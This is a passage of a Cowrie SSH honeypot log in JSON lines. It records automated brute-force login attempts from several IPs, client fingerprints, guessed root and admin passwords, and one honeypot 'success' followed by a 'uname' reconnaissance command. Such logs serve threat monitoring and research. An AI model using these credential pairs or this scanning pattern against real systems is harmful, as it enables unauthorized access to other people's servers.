{"eventid":"cowrie.login.failed","username":"root","password":"jaguar","message":"login attempt [root/jaguar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:24.707094Z","src_ip":"87.251.79.125","session":"f9e8acefef12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:25.221603Z","src_ip":"83.168.110.85","session":"c9e06d2ba366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:25.780134Z","src_ip":"87.251.79.125","session":"f9e8acefef12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52794,"dst_ip":"159.203.135.109","dst_port":22,"session":"3126d2d01655","protocol":"ssh","message":"New connection: 83.168.110.85:52794 (159.203.135.109:22) [session: 3126d2d01655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:33.803703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:33.810268Z","src_ip":"83.168.110.85","session":"3126d2d01655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:33.936371Z","src_ip":"83.168.110.85","session":"3126d2d01655","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:34.301887Z","src_ip":"83.168.110.85","session":"3126d2d01655","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:34.597146Z","src_ip":"83.168.110.85","session":"3126d2d01655","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:34.601089Z","src_ip":"83.168.110.85","session":"3126d2d01655","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:34.728338Z","src_ip":"83.168.110.85","session":"3126d2d01655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:34.738406Z","src_ip":"83.168.110.85","session":"3126d2d01655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":50558,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf6537bad34","protocol":"ssh","message":"New connection: 103.82.132.16:50558 (10.17.0.5:22) [session: bbf6537bad34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:36.340480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:36.345601Z","src_ip":"103.82.132.16","session":"bbf6537bad34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:36.627905Z","src_ip":"103.82.132.16","session":"bbf6537bad34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slayer","message":"login attempt [root/slayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:37.445631Z","src_ip":"103.82.132.16","session":"bbf6537bad34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":53168,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b3e21bf381","protocol":"ssh","message":"New connection: 103.118.29.129:53168 (159.203.135.109:22) [session: 39b3e21bf381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:38.355441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:38.359711Z","src_ip":"103.118.29.129","session":"39b3e21bf381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:38.605190Z","src_ip":"103.118.29.129","session":"39b3e21bf381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:38.708003Z","src_ip":"103.82.132.16","session":"bbf6537bad34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sky","message":"login attempt [root/sky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:39.602211Z","src_ip":"103.118.29.129","session":"39b3e21bf381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:40.845778Z","src_ip":"103.118.29.129","session":"39b3e21bf381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57078,"dst_ip":"159.203.135.109","dst_port":22,"session":"e422135ec411","protocol":"ssh","message":"New connection: 83.168.110.85:57078 (159.203.135.109:22) [session: e422135ec411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:44.432015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:44.436345Z","src_ip":"83.168.110.85","session":"e422135ec411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:44.562778Z","src_ip":"83.168.110.85","session":"e422135ec411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:44.926028Z","src_ip":"83.168.110.85","session":"e422135ec411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:46.066557Z","src_ip":"83.168.110.85","session":"e422135ec411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":34150,"dst_ip":"159.203.135.109","dst_port":22,"session":"78c479f4b17a","protocol":"ssh","message":"New connection: 152.32.171.99:34150 (159.203.135.109:22) [session: 78c479f4b17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:52.950519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:52.958313Z","src_ip":"152.32.171.99","session":"78c479f4b17a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:53.172930Z","src_ip":"152.32.171.99","session":"78c479f4b17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123zxc","message":"login attempt [root/123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:54.067140Z","src_ip":"152.32.171.99","session":"78c479f4b17a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40314,"dst_ip":"159.203.135.109","dst_port":22,"session":"86306810f912","protocol":"ssh","message":"New connection: 83.168.110.85:40314 (159.203.135.109:22) [session: 86306810f912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:54.864124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:54.870507Z","src_ip":"83.168.110.85","session":"86306810f912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:54.996206Z","src_ip":"83.168.110.85","session":"86306810f912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:55.284836Z","src_ip":"152.32.171.99","session":"78c479f4b17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:55.362736Z","src_ip":"83.168.110.85","session":"86306810f912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35738,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9650010edd","protocol":"ssh","message":"New connection: 103.27.238.116:35738 (10.17.0.5:22) [session: cf9650010edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:55.648354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:55.653424Z","src_ip":"103.27.238.116","session":"cf9650010edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:55.919556Z","src_ip":"103.27.238.116","session":"cf9650010edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:56.646566Z","src_ip":"83.168.110.85","session":"86306810f912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjk","message":"login attempt [root/gfhjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:56.710954Z","src_ip":"103.27.238.116","session":"cf9650010edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:31:57.977587Z","src_ip":"103.27.238.116","session":"cf9650010edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.9.81","src_port":36086,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb00145d545","protocol":"ssh","message":"New connection: 104.194.9.81:36086 (10.17.0.5:22) [session: dcb00145d545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.559270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:01.564758Z","src_ip":"104.194.9.81","session":"dcb00145d545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 